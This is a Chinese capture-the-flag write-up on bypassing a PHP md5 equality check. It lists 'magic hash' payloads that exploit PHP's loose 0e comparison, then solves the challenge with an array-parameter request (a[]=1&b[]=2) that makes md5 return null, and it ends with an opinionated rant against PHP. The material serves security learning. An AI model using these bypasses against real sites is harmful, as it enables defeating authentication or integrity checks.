題目描述
一個網頁,不妨設URL為http://haha.com
,打開之后是這樣的
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b']) {
if (md5($_GET['a']) === md5($_GET['b'])) {
echo ('Flag: '.$flag);
}else {
echo 'Wrong.';
}
}
}
根據這段代碼,可以看出;
- 使用GET方式提交參數,可以直接在URL里面改,不用寫POST請求
- GET里面必須包含a,b兩個參數
- a!=b,這里的不等是嚴格的value上的不等,而不是
!==
引用上的不等 - a和b的md5必須相等
- 這段代碼是無論如何都要返回的,如果答案錯誤,先返回wrong,再返回這段代碼。
如果提交http://haha.com?a=3&b=2
,返回wrong
如果提交http://haha.com?a=3&b=3
,跟沒帶參數一樣,因為沒有進入到那層判斷中去
問,怎么提交才能得到flag
預備知識
PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。
常見的payload有
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')
同時MD5不能處理數組,若有以下判斷則可用數組繞過
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2
題解
URL可以傳遞數組參數,形式是http://haha.com?x[]=1&x[]=2&x[]=3
,這樣就提交了一個x[]={1,2,3}的數組。
在PHP中,MD5是不能處理數組的,md5(數組)會返回null,所以md5(a[])null,md5(b[])null,md5(a[])=md5(b[])=null,這樣就得到答案了。
http://butian.secbox.cn/flag.php?a[]=1&b[]=2
返回結果
Flag: flag{1bc29b36f623ba82aaf6724fd3b16718}
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b']) {
if (md5($_GET['a']) === md5($_GET['b'])) {
echo ('Flag: '.$flag);
}else {
echo 'Wrong.';
}
}
}
我說
一開始我還以為要找到兩個md5相同的字符串,百度一番不曾找到。只找到一個fastcoll.exe文件碰撞器,內容都是二進制的,不是字符串。
直接搜索PHP、MD5,就發現原來這題跟密碼學半毛錢關系沒有,只是簡簡單單的PHP語言漏洞。
於是余有嘆焉,PHP是地球上最垃圾的語言,一方面養活着一大群抱殘守缺的程序員,另一方面也養活着一批PHP安全方面的專家。程序員這不是自娛自樂嗎?用Java哪來的這么多奇葩問題,強類型的安全性自然而然,一切都是確定的,弱類型帶來了太多的可能性。腳本寫起來雖然方便,卻最好只在本地使用而不要放在易受攻擊的地方。